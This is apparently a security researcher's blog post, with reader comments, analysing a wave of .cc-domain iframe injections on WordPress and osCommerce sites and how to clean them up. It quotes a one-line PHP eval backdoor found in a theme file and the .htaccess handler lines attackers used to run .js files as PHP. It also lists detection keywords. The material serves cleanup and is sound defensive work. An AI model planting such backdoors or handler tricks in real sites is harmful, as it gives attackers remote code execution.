A few days ago I tweeted that “this year the most popular TLD for malicious sites is .CC“. I conducted some research on the most prevalent attacks that use the .CC TLD and now want to elaborate on what is going on.
Lately, the majority of websites with security problems (that people check on Unmask Parasites) have very similar “What happened when Google visited this site?” sections on their Safe Browsing diagnostic pages. They mention several malicious site on .cc domains, e.g.

This code effectively injects the same hidden iframes into web pages, but does so only if the page is requested by real web surfers. It detects known search engine bots by their User-Agent strings and IP addresses and hides the malicious content from them.

Another variation is the following injected script (usually right after the <body> tag):

Once executed, an external script from “oiwdd .co.cc” is silently injected into a web page. To make this code work, hackers also create/modify .htaccess files to register .js files to be processed as PHP.

AddHandler php5-script .js
AddType application/x-httpd-php .js

Update (March 10, 2011): I see a new type of malicious injection on quite a few sites now. At the very bottom of HTML code:

the script from that “republikainfo .com” site simply generates a hidden iframe with a very familiar source:hxxp://hdhdfshse4h .co.cc/QQkFBg0MBAEDAAABEkcJBQYNDQAFAgIDAw==

Common features

All these attacks have several common features:

1. They use .cc top level domains for malicious sites. Mainly *.co.cc, *.cz.cc and *.vv.cc, where anyone can register domain names for free. And since hackers use quite random sequences of characters as domain names, they don’t even have to worry about unavailability of certain names.

3. Tampered legitimate files don’t change their modification date. And their permissions are usually 644 (i.e. only their owner can modify them)

4. Removing the malicious code from your files is not enough. Just a few hours later a new revision of the malicious code can be injected into your web pages. Sometimes, into different places, which makes detection and automated removal more difficult.

Attack Vector

During the last couple of weeks, I talked to many webmasters and hosting providers (special thanks to Michael Karr and Benjamin Davis from HostGator) and now have quite a complete picture of these .CC attacks.

In most cases, this is a 2 stage attack.

Stage 1: Use vulnerabilities in popular web applications to upload backdoor files to compromised web sites.

Backdoors

Locations

Backdoor files can be scattered all over the server under users’ accounts. However, most frequently, they can be found in directories with static content, e.g. “images“, “css“, etc (e.g. imageth.php in an “images” directory). Usually in under the admin section of a web site. In case of WordPress, themes and plugins directories are very popular locations for backdoor scripts.

Samples

Here are some real samples of backdoor code.

googlef0ee9bc90f224b30.php in root directories of OSCommerce sites (filename may be different but they all resemble Google’s verification files, although with .php extension instead of .txt)

this code searches for writable index files (index.html and index.php) and then tries to remove previous copy of the malicious code and inject a new revision. Note, the code is executed with site owners permissions so every file with 644 permission is writable.

It injects an invisible .cc iframe HTML code into .html files and an obfuscated PHP code (that injects the same iframe plus some anti-bot logic) into .php files.

it preserves the modification date

To webmasters

If your site is affected by this malware attack (i.e. you see .cc iframes in your web pages or Google blacklists your site and mentions .cc domains on a Safe Browsing diagnostic page), you should do the following:

1. Find and remove all backdoor scripts

Ideally, all your server files are under some revision control, and all you need to do it check for latest changes (which will show you all changed/created files) and then discard all unauthorized modifications.

Alternatively, scan all your server files for the following strings: “eval“, “base64_decode“, “edoced_46esab“, “gzinflate“, “gzuncompress” , “eval(stripslashes“, “FilesMan“. Sometimes, legitimate files can use these keywords, so make sure to check the found files manually. Here are some good signs that the code is not legitimate:

One more way to find backdoor scripts is to scan raw web server logs for suspicious POST requests. In a normal web application there shouldn’t be many files that process POST request so it won’t take long to filter out legitimate files.

2. Prevent reinfection

Now that you’ve found and removed the backdoor scripts, you should make sure that hackers can’t upload and use new malicious files.

Step #1. Upgrade all third-party applications to their latest versions on all of your websites.

Note that in case of OSCommerce, hackers like to use vulnerabilities in “/admin/file_manager.php” and “/admin/categories.php“. So Step #3 is to protect site’s admin interface. For example, you can password-protect access to this directory (.htaccess + .htpasswd) or restrict access from trusted IPs only (.htaccess).

Step #4. Since hackers like to upload backdoor scripts to images directories, you might want to configure directories with static content so that no files there can execute PHP code. For example, you can try this directive in a .htaccess file:

php_flag engine off

or these (depending on your server configuration)RemoveHandler .php
RemoveType .php

3. Remove malicious code from your web pages

If you have a fresh clean backup copy of your site, you can just remove everything and then restore the whole site form that backup.

It is also very simple if your site is under revision control — just revert it to a known clean state.

4. Request malware review if your site is blacklisted

To unblock your sites, you should explicitly request a malware review via Google Webmaster Tools (Diagnostics -> Malware) for each blacklisted site individually. It will take about one day to review and remove malware warnings if your sites are found clean.

Note, without this request, it may take several weeks to unblock your sites even if they are clean.

Summary

They inject different types of malicious code (HTML and PHP) into different type of files (.html, .php, .js)

They even use .htaccess files to make PHP code in .js files executable.

On the same site, they may change injection types almost every day.

And of course, they change malicious domains every day (as many other malware attacks though)

As a result, these .cc attacks target more sites than other typical attacks that only use vulnerabilities of a single application. Plus compromise detection and clean up can be challenged by unpredictability of malware injections — their type and location.

Have your say

Please, let me know if I missed any important details about these .cc attacks. Maybe, you’ve come across different types of malicious content or infection vectors that you think can be related to what I described here. Your comments are welcome.

Reader's Comments (28)

So far this is the best article out there about this new and very dangerous virus. I must say I have tried EVERYTHING. It returns .. I’m not sure how. My last resort was to close all the sites. I’ve checked the raw logs and there’s nothing strange. I can’t believed I’ve been hacked this way. The file modification date remains the same even after index.php gets infected so it is clearly not via ftp, even though I scanned all my machines.
I see that you discussed with HostGator guys that catched a backdoor. Do you have more info on that ? My shared hosting is with them but they answer way too slow on their ticketing system.
Please help me, I don’t know what else to do, I’ve spent 4 days trying to remove this virus without success. Please email me to the email I’ve posted this comment with.

I can’t stress enough how good and helpful your article is. I think I’ve found the backdoor. It was the extra code in functions.php from the theme, as you described:
<?php if (isset($_REQUEST['asc'])) eval(stripslashes($_REQUEST['asc']));

Now my main concern is how did they manage to put it there since they might be able to put it back.
1) virus on my machine and got my ftp details and uploaded. The thing is that I had saved ftp details from other hostings in my ftp client and those are untouched so I don't think this is it. I've scanned my machine with 3-4 up to date scanners

2) hack on my sites probably a 777 directory or a vulnerability on the old 2.8.1 wordpress I had installed so far (it is updated now)

I’d also like to contribute with something here since this was very helpful to me. I couldn’t find a tool that I can use to search via ftp and the cpanel also doesn’t offer anything. So instead of downloading all the sites locally to search, I found and adapted a script that can be uploaded on hosting and used to search the file contents for certain strings as the article describes. Here is the php script for anyone interested:http://www.creatorul.net/wpsearch.zip

big thanks to both Denis and Daniel on this one! I have been working with Daniel for a few days now trying to rid my sites of this same virus as well. With their help it looks like I was finally able to! I too found the string:

It was in an archives.php in a theme file. They absolute key is the search file that daniel posted that allowed me to search all my server at once (over 10 complete sites). it would have been impossible to download them all and do it that way. And thanks to you Denis for showing us what to search for!

Thank you for this post. All my sites running wordpress got hacked. I was shocked. Then I was searching yesterday and today, and come across this site and a few others with the same “eval” issue. No files were timestamped with any updates for years. Then I downloaded the index.php, and there was the base64 code just sitting there on top. I have other sites running PHP, but not wordpress. ONLY MY WORDPRESS SITES ARE AFFECTED (so it seems). The funny thing is that I have 1 wordpress site for years (never updated that version), 2 other “test” wordpress sites on test folders. So my “main.com” site doesn’t get the error, but “main.com/test” gets the malware alert from chrome.

It could have been the old wordpress version, or it could have been the latest theme i downloaded already had the code in there. From now on, i am going to only download ones from wordpress.org or get buy a premium one.

Now I am just going to delete most of the sites.

Few questions:

How does the backdoor actually work? Through comments, or a vulnerable php file? Then it goes up a directory tree and sees i have 10 other sites? then only targets wordpress files? Does it touch my database files?

I believe, via vulnerable .php files of web applications (WordPress, OSCommerce, etc.). When they upload that file, they can use it to execute any code on compromised servers. They usually upload so called web shell to explore to discover new sites under the same account and find suitable locations for new backdors injections (e.g. backdoor code in theme files).
Then they use backdoors on all compromised sites all over the web to automatically inject malicious code into legitimate web pages.

It looks like the exploit uses the out of date timthumb.php file in older versions of WordPress to upload files which are then executed. These files will add code to index files, edit .htaccess to execute other file extensions and also upload additional scripts, iframes etc….

here is a handy command to find the files:

grep -Z -R “part of the script you are searching for here” /your/directory/* >> affected-files.txt

Thank you for this article, it’s a great help. Over at FileDen.com we’ve been experiencing issues with these .co.cc attacks over the last week or so and have been struggling to get to the bottom of it due to the sheer size of our log files.

Once the backdoor is there of course, it’s extremely hard to spot what they’re doing. We had a wordpress installation, but took it down when we originally got infected expecting it to be the cause.

Have you seen any cases of them writing backdoors to files outside of wordpress? The iframes themselves have been showing up on files on the main FileDen.com website.

Unless you have something like mod_security running that is capturing some more information, it is sometimes hard to see more of what it happening. I had a wordpress installation which was pretty much patched that was compromised. The compromise appeared to start with self-registration being left on and someone from Poland registering themselves. Later, an attack from an address in china seemed to use a valid session cookie and gained access. within a minute an Ip address from columbia connected and edited a php file in a theme allowing for the asc= variable. I have the full set of attacks after that — a base64 encoded string which searched the full system for any index.htm* and index.php files that were writable. After that a focused attack using the file list gleaned from the original probe pushed out the iframe updates. I am seeing between 5 and 15 updates per day that attempt to change the URL. The updates are coming from computers all over the world, but are targeting specifically this server. All that is seen with the attack after the original compromise is a POST / — nothing else. One thing I have noted is that all of what I assume are bot members trying to update the links have the following user agent:
“Mozila/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MyIE2;” I’m keying off of the Mozila and the MyIE2 parts to autoblock addresses as they attempt the updates (148 unique attacking addresses so far, most since the 27th of Feb)

It’s a lame manual. You delete only side effects of disease and cannot even imagine depth of the problem.
What will you do,if you have frame, but there is a fresh install of WP. Nothing! Reboot, ps aux | grep hacker , who and other helpful commands :)
You’ve stopped thinking!

Definitely, this article cannot cover all possible hacks. But it provides quite useful instructions. And what’s more important, they are backed by log analyses on multiple real hacked web sites (where I could see the attack step-by-step).

Unfortunately, this is not the only attack in the wild and some iframe injections use different vectors.

By the way, thanks for the very useful “ps aux | grep hacker” command. If you know some more magic commands, please write your manual on how to use them and let us know where we can read it ;-)

I dont want to offend you, sorry.But I know too much people who make money injecting frame – a long time ago i was one of them ;), so I can tell – the frame generate nix-based OS. “Kernel” make the frame ;)
Delete everything and install again.
If you need know more – contact me – I’ll show you the painless way to do this.

Then thanks for your article,although it’s hard to me :) because of my poor english.

And i write to you because my site is also get hacked,and i found bad code:<?php eval(base64_decode('ZXJ….
in the root/index.php and /admin/index.php(i cant find any more),im not sure if there are more bad code in other files.

and my site is a zen-cart systerm(something like osCommerce shopping cart).I have read this articles 3 times,but i cant find how to fix my zencart site because you have not mentioned any methoeds to fix zencart sites.

I’m not familiar with Zen Cart but the approach should be the same:
1. Check file for integrity (files that changed or has been added since the initial installation)
2. Scan all the files for the keywords you can find in my article
3. Scan access logs for suspicious POST requests

I cleaned the nasty codes months ago and the hackers came back! I just found scripts hidden inside HTML files in my non wordpress folders. Some of these folders are not even indexed by Google, which means that somebody entered via FTP. the cod was hidden waaay down at the end of the HTML, and it was a long obfuscated code, which started like this: “”

I right clicked on my whole backup and scanned with AVG and it found a lot of HTML/Framer – I just don’t know, why it didn’t found before, when it makes full scan.

Some jquery.js files were also highlighted as HTML/Framer so I downloaded the same version of jquery.js and compared, they are different. I am not programmer, but it seams that hackers modified these files as well.